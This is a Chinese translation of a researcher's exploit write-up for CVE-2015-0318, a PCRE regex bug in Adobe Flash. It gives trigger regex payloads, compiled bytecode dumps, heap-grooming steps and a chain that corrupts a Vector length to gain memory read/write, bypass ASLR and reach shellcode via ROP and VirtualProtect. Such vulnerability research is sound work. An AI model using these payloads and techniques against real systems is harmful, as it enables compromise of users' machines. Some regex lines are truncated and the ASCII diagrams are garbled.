原文地址:http://drops.wooyun.org/papers/5030

0x00 前言

标题：(^Exploiting)\s(CVE-2015-0318)\s(in)\s*(Flash$) 作者：Mark Brand

issue 199/PSIRT-3161/CVE-2015-0318

简要概述：Flash使用的PCRE正则式解析引擎（https://github.com/adobe-flash/avmplus/tree/master/pcre， 请注意公开的avmplus代码早已过期，他之前有的许多其他漏洞已经被Adobe修复，所以审计这段代码可能会比较让人灰心）。

注：明显这个引擎是有漏洞的，从上面的issue页面可以看到漏洞的相关信息。

0x01 背景

```
#!c
/* For \c, a following letter is upper-cased; then the 0x40 bit is flipped.
This coding is ASCII-specific, but then the whole concept of \cx is
ASCII-specific. (However, an EBCDIC equivalent has now been added.) */

case 'c':     <---- There's no check to see if we're in UTF8 mode
c = *(++ptr); <---- This could be part of a multibyte unicode character
if (c == 0)
{
   *errorcodeptr = ERR2;
   break;
}

#ifndef EBCDIC  /* ASCII coding */
   if (c >= 'a' && c <= 'z') c -= 32;
   c ^= 0x40;
#else           /* EBCDIC coding */
   if (c >= 'a' && c <= 'z') c += 64;
   c ^= 0xC0;
#endif
   break;
```

以下就是当我们把转义符\c（匹配1个ASCII字符串， 译注：ANSI字符）和一个多字节的UTF-8字符合在一起的结果，我们可以简单的用"\c\xd0\x80+"来触发bug，如下：

```
\cÈ+(?1)
```

编译后会是如下字节码：

```
0000 5d0009      93 BRA              [9]
0003 1bc290      27 CHAR             ['\xc2\x90']
0006 201b        32 PLUS             ['\x1b']
0008 80         128 INVALID
0009 540009      84 KET              [9]
000c 00           0 END
```

很明显这里有东西出错了，但是问题是如何才能让这个无效的字节码变成任意代码执行。很不幸，如果我们就拿这个无效的字节码来比较的话，结果就是匹配失败，然后退出匹配的过程，不会有什么其他的动作。

但是还有希望，pcre_compile.cpp提供了一些附加选项，我使用的是find_brackets，它会从当前的字节码迭代到末尾，而且有一个相对宽松的default case（译注：switch的case default块），这个case会定位（并填充一个偏移量到）一个有序组，所以也许使用这个会导致一些奇怪的内存损坏或者让PCRE字节码有区别于一般字节码执行起来。

所以我们看看这个例子，添加一个回溯引用：

```
\c?0?4+(?1)
```

我们可以看到这一行（https://github.com/adobe-flash/avmplus/blob/master/pcre/pcre_compile.cpp#L1635），'c'被设定成无效的操作码：0x80：

```
#!c
/* Add in the fixed length from the table */
code += _pcre_OP_lengths[c][/c];
```

现在， _pcre_OP_lengths是一个全局数组了，0x80这个偏移稍稍跨过了数组的末尾。这个倒是很方便，因为这个定位到了一组将被用来国际化的字符串数组前面（在Windows和Linux上都是这样）。在每个Flash版本中，我们获得到的偏移都是110（明显比有效的操作码的长度要长），所以如果我们能修改一下堆，那么我们就可以将代码的指针从分配的字节码缓存中移动到我们控制的数据中。我们只需要重新操作一下，让find_bracket将字节码匹配到我们所需的那段缓存中，然后我们就可以寄希望于它，让它来帮助我们执行恶意代码了。

我们遇到了一个小小的问题：字节码的匹配器在遇到无效字节码的时候会退出匹配过程。解决方案是：可以用括号把它们包起来，让他们成为一个可选组：

```
(\c?0?4+)?(?2)
```

通过为组2合理的安排缓存，我们可以成功地将编译器编译成：

```
LEGITIMATE HEAP BUFFER
0000 5d001b      93 BRA              [27]
0003 66         102 BRAZERO
0004 5e000b0001  94 CBRA             [11, 1]
0009 1bc290      27 CHAR             ['\xc2\x90']
000c 201b        32 PLUS             ['\x1b']
000e 80         128 INVALID
000f 54000b      84 KET              [11]
0012 5c0006      92 ONCE             [6]
0015 510083      81 RECURSE          [131]    <---- this 131 is the bytecode index to recurse to (131 == 0x83, at the start of our groomed heap buffer)
0018 540006      84 KET              [6]
001b 54001b      84 KET              [27]
001e 00           0 END
…
GROOMED HEAP BUFFER
0083 5e00880002  94 CBRA             [136, 2]
0088 540088      84 KET              [136]
```

当我们执行这段正则表达式的时候，看起来事事顺利，因为我们需要执行的路径是：

```
0000 5d001b      93 BRA              [27]
0003 66         102 BRAZERO
0004 5e000b0001  94 CBRA             [11, 1]
0009 1bc290      27 CHAR             ['\xc2\x90']   <---- Fail, backtrack
0015 510083      81 RECURSE          [131]
0083 5e00880002  94 CBRA             [136, 2]       <---- Now executing inside our groomed heap buffer
```

```
0088 540088      84 KET              [136]
0018 540006      84 KET              [6]
001b 54001b      84 KET              [27]
001e 00           0 END
```

所以，现在我们可以在调整过的堆缓冲区中欢乐地将任意正则表达式字节码插入我们的CBRA和KET中间。

PCRE字节码解释器令人惊讶的健壮，因此也让我找了很久才发现一个有用的内存损坏点。解释器中的主要的内存访问代码都做过有效性检查，如果他没有做的这么完美（但是还是有很多跨界读的机会，但是现在我们需要的是写权限），我们很可能早就用一个跨界写让它能做更多事情。

这就是这段有趣的代码，在处理CBRA的过程中有一个对组数的错误架设，代码如下（来自pcre_exec.cpp，做过美化，移除了一下debug代码）

```
#!c
case OP_CBRA:
case OP_SCBRA:
   number = GET2(ecode, 1 + LINK_SIZE); <---- we control number
   offset = number << 1;                <---- we control offset

   if (offset < md->offset_max)         <---- bounds check that offset within offset_vector
   {
       save_offset3       = md->offset_vector[md->offset_end - number]; <---- we control number, so if number is 0, we index at md->offset_end, which is one past the e

       save_capture_last  = md->capture_last;

       if (ES3_Compatible_Behavior)   // clear all matches for groups > than this one
       {                              //  (we only really need to reset all enclosed groups, but
                                      //  covering all groups > this is harmless because
                                      //  we interpret from left to right)

           savedElems = (offset_top > offset ? offset_top - offset : 2);

           if (savedElems > frame->XoffsetStackSaveMax)
           {
               if (frame->XoffsetStackSave != frame->XoffsetStackSaveStg)
               {
                   (pcre_free)(frame->XoffsetStackSave);
               }

               frame->XoffsetStackSave = (int *)(pcre_malloc)(savedElems * sizeof(int));

               if (frame->XoffsetStackSave == NULL)
               {
                   RRETURN(PCRE_ERROR_NOMEMORY);
               }

               frame->XoffsetStackSaveMax = savedElems;
           }

           VMPI_memcpy(offsetStackSave, md->offset_vector + offset, (savedElems * sizeof(int)));

           for (int resetOffset = offset + 2; resetOffset < offset_top; resetOffset++)
           {
               md->offset_vector[resetOffset] = -1;
           }
       }
       else
       {
           offsetStackSave[1] = md->offset_vector[offset];
           offsetStackSave[2] = md->offset_vector[offset + 1];
           savedElems         = 0;
       }

       md->offset_vector[md->offset_end - number] = eptr - md->start_subject;  <---- even better, we write the current length of the match there; this is becoming inte
```

所以，我们可以将我们控制的一个DWORD写入offset_vector之后，当这么做的时候，通常offset_vector是RegExpObject.cpp中分配的一个栈上缓存：

```
#!c
ArrayObject* RegExpObject::_exec(Stringp subject,
                            StIndexableUTF8String& utf8Subject,
                            int startIndex,
                            int& matchIndex,
                            int& matchLen)
{
    AvmAssert(subject != NULL);

    int ovector[OVECTOR_SIZE];  <--
    int results;
    int subjectLength = utf8Subject.length();
```

这样就不是很有趣了，我们多写的一个DWORD其实没啥用--我没有看，但是现代的编译器都会做变量重排序和安全Cookie，所以这样做几乎没有什么用。但是我们有一个更简单的方式，这个例子里面我们会用更多的匹配组，这些组的数量比要填充进的缓存数量还要大，这时PCRE会在堆上分配一个合适大小的缓存。（译注：意思是原先分配在栈上的空间不够大，所以程序又会在堆上分配一片内存，保证操作可以正常执行）

```
#!c
/* If the expression has got more back references than the offsets supplied can
hold, we get a temporary chunk of working store to use during the matching.
Otherwise, we can use the vector supplied, rounding down its size to a multiple
of 3. */

ocount = offsetcount - (offsetcount % 3);

if (re->top_backref > 0 && re->top_backref >= ocount / 3)
{
    ocount = re->top_backref * 3 + 3;

    md->offset_vector = (int *)(pcre_malloc)(ocount * sizeof(int));
    if (md->offset_vector == NULL)
    {
        return PCRE_ERROR_NOMEMORY;
    }

    using_temporary_offsets = TRUE;
    DPRINTF(("Got memory to hold back references\n"));
}
else
{
    md->offset_vector = offsets;
}

md->offset_end = ocount;
md->offset_max = (2 * ocount) / 3;
md->offset_overflow = FALSE;
```

```
md->capture_last = -1;
```

赞，好事成双。当分配大小大于99*4=396字节时，我们可以差不多控制一个堆创建之后的一个DWORD了。由于我们需要的是写入分配区域之后，所以看看Flash的堆分配器，它告诉我们，504字节是我们准确匹配到的第一个区域的大小，所以我们需要 md->top_backref == 41 这么大来获得这个数字。这个简单，只要我们加一堆捕获组和回溯引用即可。

```
(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\c?0?4+)?(?43)
```

另一个我们将要碰到的问题是Flash并不会校验正则表达式是否编译成功，如果我们第一个堆分配失败的话，find_bracket将不会找到一个匹配该组的数据，因此编译也会失败当调试的时候这个是相当复杂的，所以我们可以在开头加一个常量，这样我们就能用它来测试是否编译成功了。

```
(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\c?0?4+)?(?70))
```

像我们之前提到的一样，我们需要一次堆分配来让我们的代码正好位于从我们提供的正则式中编译出的字节码的缓存位置之后。为了更简单一些，我们会把正则式贴到缓存后面，这样对Flash的堆分配器来说，这就又是一个不错的数字了，下一个可用单元是576字节，每个字符匹配增加2个字节。

```
(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\c?
```

我们需要通过更多的修改来让这个将当前匹配的长度复写问题产生作用，所以我们需要有更简单的方式来控制它。我们可以调整第一组来让匹配任意个数的不同字符，如下：

```
(c01db33f|(B*)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\c
```

注：漏洞代码中，我们会在选定的字符里面随意替换B，原因是Flash会缓存编译的正则式，无论成功与否都会，如果我们的分配失败了，我们还是需要强制它重新编译正则的。

所以，这就意味着漏洞最初的编译处理工作已经完成了。我们已经知道如何通过这个跨界写的字节码payload，是：

```
0000 5e00010046  94 CBRA             [1, 70]
0005 5e00000000  94 CBRA             [0, 0]
000a 6d         109 ACCEPT
```

为了成功写入，最后的ACCEPT是必须的，我们需要让组0成为一个匹配项，ACCEPT将强行完成这个动作，而且还有个好处是它使用的字节码最少。

现在，如果你一路看下来，可能觉得这个东西实在是麻烦。在许多情况下，这差不多就是漏洞的开始：我们控制了分配的大小，而且我们把我们的匹配项的长度写到了它的末尾，虽然说要覆写一个指针是个相当烦人的事情。但是好消息是在Flash中有一个一了百了的解决反感：Vector.，我们可以分配任意大小的这种对象，而且它的最开始的一个DWORD就是一个长度域。当我们改写了这个长度域，在产生任意读写的道路上，我们就不会有任何阻碍了，而且也将是一个非常稳定的漏洞代码。

0x01 编译正则式

首先我们需要分配一大组大小504的缓冲区（和我们编译的正则式一样），然后用我们的恶意字节码填充它：

```
#!bash
________________________________________________________________________________
|exploit-bytecode------------|exploit-bytecode------------|exploit-bytecode------------|
````````````````````````````````````````````````````````````````````````````````
```

然后我们释放第二个buffer，这样我们就能保留下一个大小正好的"沟"，而且这里的沟很容易被Flash堆分配器再利用。（译注：意思是要分配的也是这么大，所以分配器可能优先从这里分配堆上空间）

```
#!bash
____
|exploit-bytecode------------|FREE |exploit-bytecode------------|
````````````````````````````````````````````````````````````````````````````````
```

所以当我们试图编译我们的正则式的时候，我们差不多每次都会分配到这里，这个沟内正好会填上一份我们的恶意字节码，所以我们就构造了一个紧贴着buffer的字节码。

```
#!bash
________________________________________________________________________________
|exploit-bytecode------------|ERCP|metadata|regex-bytecode|exploit-bytecode------------|
````````````````````````````````````````````````````````````````````````````````
```

# 0x02 执行正则式破坏vector的length

这里也要用一些花招，我们想要有一个大小0xffffffff的Vector，这样我们就能读写所有内存了（译注：真的不是0x7fffffff嘛），我们实际上创建了一个跟随着两个Vector 的gap，它们的分配大小需要是576，就是我们offset_vector的大小。

```
#!bash
____
|length|vector---------------|length|vector---------------|length|vector---------------|
````````````````````````````````````````````````````````````````````````````````
```

像是：

```
#!bash
________________________________________________________________________________
|FREE                        |length|vector---------------|length|vector---------------|
````````````````````````````````````````````````````````````````````````````````
```

当正则式执行起来，当前匹配的大小（一个DWORD）会写过分配的offset_vector末尾，然后会把第一个vector的length域破坏掉。

```
#!bash
____
|offset_vector---------------|corrupt|vector--------------|length|vector---------------|
````````````````````````````````````````````````````````````````````````````````
```

我们只需要增加第一个vector的大小1个字节，我们就可以用第一个vector来完全控制第二个字节：

```
#!bash
________________________________________________________________________________
|offset_vector---------------|length+1|vector--------------------|vector---------------|
````````````````````````````````````````````````````````````````````````````````

____
|offset_vector---------------|length+1|vector---------------|UINT_MAX|vector-----------------------
````````````````````````````````````````````````````````````````````````````````
```

现在，我们已经有所有Flash进程的内存地址的读写权限了，差不多可以宣告Flash完蛋了，最后还有一个主要问题，我们并不知道我们的超大Vector.在哪儿，因为所有的内存操作都是基于这个缓存的地址的。

# 0x03 坏掉的Vector在哪儿

方便的是，在返回actionscript之前，PCRE代码将会为这个超大的vector自动释放缓存。这意味着我们可以往回找到我们的vector，从它之后的自由块（译注：已经被释放的缓冲区区域）中找到一个freelist指针。

---

|FREE |ptr| |length|vector---|---|---|---|-|UINT_MAX|vector---|---|---|---|---|| `\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`````

这个指针会指向下一个可用块，差不多就是我们那个超大的vector，我们可以检查一下是不是，当然也不是必须的，因为block size实在是很大，赌一下也很安全。这样我们的相对读写权限就可以转为完全读写了。

---

|FREE |ptr| |length|vector---|---|---|---|-|UINT_MAX|vector---|---|---|---|---||FREE|ptr|
`\`\`\`|``\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\^`\`\`\`````
|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|__|

# 0x04 其他

---

剩余的就是一个简单的Windows任意代码读写的教程了，如果你觉得很无聊的话，这段也可以不用看。

## 1. 找到一个模块

---

我们通过定位Vector绕过了ASLR，但是我们并不知道其他东西在哪儿，我们需要一个能用的已经载入的模块，这样我们就可以用它的代码了。一个方法是堆喷，但是现在并没有这个必要。

Flash使用的FixedAlloc分配器分配的内存页起始处有一个非常不错的结构，它包含有一个最终指向一个C++类的静态实例。这个实例起始就是在Flash模块中的，所以我们能用这个来定位到Flash模块，详情见漏洞代码。

当我们在模块中有一个指针的时候，我们就能从这个指针开始往回找到所有MZ标记，这样就能识别各个模块，然后获取它们的导出表了，这可以在我们的漏洞最终阶段使用

## 2. 覆盖

---

现在我们已经绕过了ASLR，如果这是一个linux漏洞而且没有RELRO的话，我们只需要覆盖GOT节的一个函数指针（参阅：http://googleprojectzero.blogspot.ch/2014/09/exploiting-cve-2014-0556-in-flash.html）即可，但是Windows却没有这么方便的技术，通过逆向Flash的文件我们终于找到一个可以覆盖的地方，比在堆上来操作简单一些。

如果我们再创建一个AS类，然后实例化这个类，这时它会在堆上分配，同时也会有一个vtable指针来关联和对象相关的函数。我们可以创建一个有一些固定特征的类，然后让它变得容易找到，通过查询堆结构，然后定位到这个类，这样我们也就不必冒访问未初始化内存的风险了。

## 3. 执行代码

---

Flash JIT有用的一个功能是如果参数是一个简单的原生类型的话，它就会被压入原始栈上（就像普通的原生函数调用一样）。这意味着用一大堆uint参数来覆盖函数指针的话我们就可以控制一大块原生栈空间，当函数被调用的时候，我们就能直接ROP到合法的程序栈上。

我们需要做的就是调用VirtualProtect来让Vector所在页属性被标记为可执行，然后放入我们的Shellcode，跳进去就一切ok了。

调用VirtualProtect时可以通过创建一些没用的变量来创建一个足够大的栈空间这样返回的时候也不会破坏Flash原始的栈帧了（我们的假栈帧会插到原始的栈帧中间）

## 4. 返回执行流

---

执行成功了，怎么返回Flash不让它崩呢？看看我们对进程做的事情，如果一切顺利，我们也只损坏了3个dword的内存，所以还是很容易恢复执行的：

- 
  1. 第一个vector的大小增加了1
- 
  1. 第二个vector的大小增加成了UINT_MAX
- 
  1. 还有改了指向我们函数的那个函数指针

我们覆盖第二个vector的length的时候，第一个立马就被修复了，2需要修复一下，因为Flash free vector的时候可能会把所有内存都恢复掉……而3则不需要恢复了，因为不会再用到它了。

这意味着如果我们能正确的处理的话，Flash在漏洞执行前后将会几乎看不出来变化，我们的ROP看起来将会像是对Flash函数的一个Hook，在执行完我们的代码之后还会返回到原来的Flash函数内。